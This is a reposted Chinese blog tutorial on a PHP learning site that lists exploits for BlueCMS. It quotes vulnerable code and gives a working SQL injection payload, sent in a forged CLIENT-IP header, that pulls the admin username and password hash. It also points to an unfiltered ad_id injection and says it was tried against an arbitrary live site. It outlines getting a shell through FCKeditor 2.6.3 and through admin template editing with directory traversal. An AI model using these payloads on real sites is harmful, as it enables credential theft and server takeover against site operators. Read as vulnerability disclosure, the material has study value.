网站地图    收藏   

主页 > 后端 > 网站安全 >

Bluecms 0day大集合 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] author:西毒来自:http://hi.baidu.com/sethc5/blog采集俺的MJJ0x01.注入client_ip伪造注入看代码吧,这里的getip函数是获取Ip的,由于,client_ip和x_forwarded_for都可以伪造。在include/common.fun.php的106行....

 

 

 采集俺的MJJ

 

0x01. 注入

   client_ip伪造注入

看代码吧,

这里的getip函数是获取Ip的,由于,client_ip和x_forwarded_for都可以伪造。

在  include/common.fun.php 的106行

   function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { //获取客户端用代理服务器访问时的真实ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

我们继续跟踪一下getip()这个函数的应用。

comment.php中的113行 

  
     $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
             VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

     $db->query($sql);

 

这里我们伪造下ip测试下。

看看结果

 

 

 

 

 

可以看到了么?

已经是注入了

问题这里的是报错是。。它已经单独写出报错的语句,以致我们不能利用报错语句,直接爆出用户名和密码。但是我们可以用盲注的方式进行来搞用户名和密码了。但是这样子太麻烦了。之前,我一直在想啊,想啊,用啥方法来注呢, 注,注。。。。。。。

毕竟人的思维太宽了。因为这是个insert的语句,我们可以插入我们想要的信息,然后通过前台页面显示出来,

我们可以这样子构造语句

a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#

前面的闭合前面一个insert语句,因为insert语句的话,我们可以insert into table (a,b,c) values ('fuck1','fuck2','fuck3'),('fuck4','fuck5','fuck6')......这样可以多插几个的。这样子,我们就可以意淫了,

我们测试下

看到了么?用户名和密码已经被我们搞到手了

这是其一。

 

0x02 继续上个注入

在 ad.js.php中 19行

 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
    echo 'Error!';
    exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

 

这里的$ad_id未经过任何过滤就传过来了,并且这里就直接注入了

 

所以这里就是赤裸裸的注入

 

所以这里随便选取个站,已经取到

 

 

0x03  getshell

再说一下,直接getshell把

由于存在fck

版本,2.6.3

直接getshell

 

 

0x04 后台拿shell

来到系统设置   再到 模板管理  然后点击编辑 

 这里编辑的是模板 www.2cto.com

 然后点编辑

 

 

我们跳到上层目录去

 

 

可能问题还很多。

总之一句,无论一套程序出现的安全问题多大,我还是不会去鄙视这些程序员,因为真正的一套cms要我来开发,我只能说我。。。。。。,以前我也是怀着BS的心态去看待一些爆有很多安全问题的程序。终于当有一天去做开发,我就明白了。其实俺当初怀着SB的心态去看我今天写的SB程序。所以最后一句还是那句,尊重别人的劳动果实。
from: http://hi.baidu.com/sethc5/blog    西毒

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论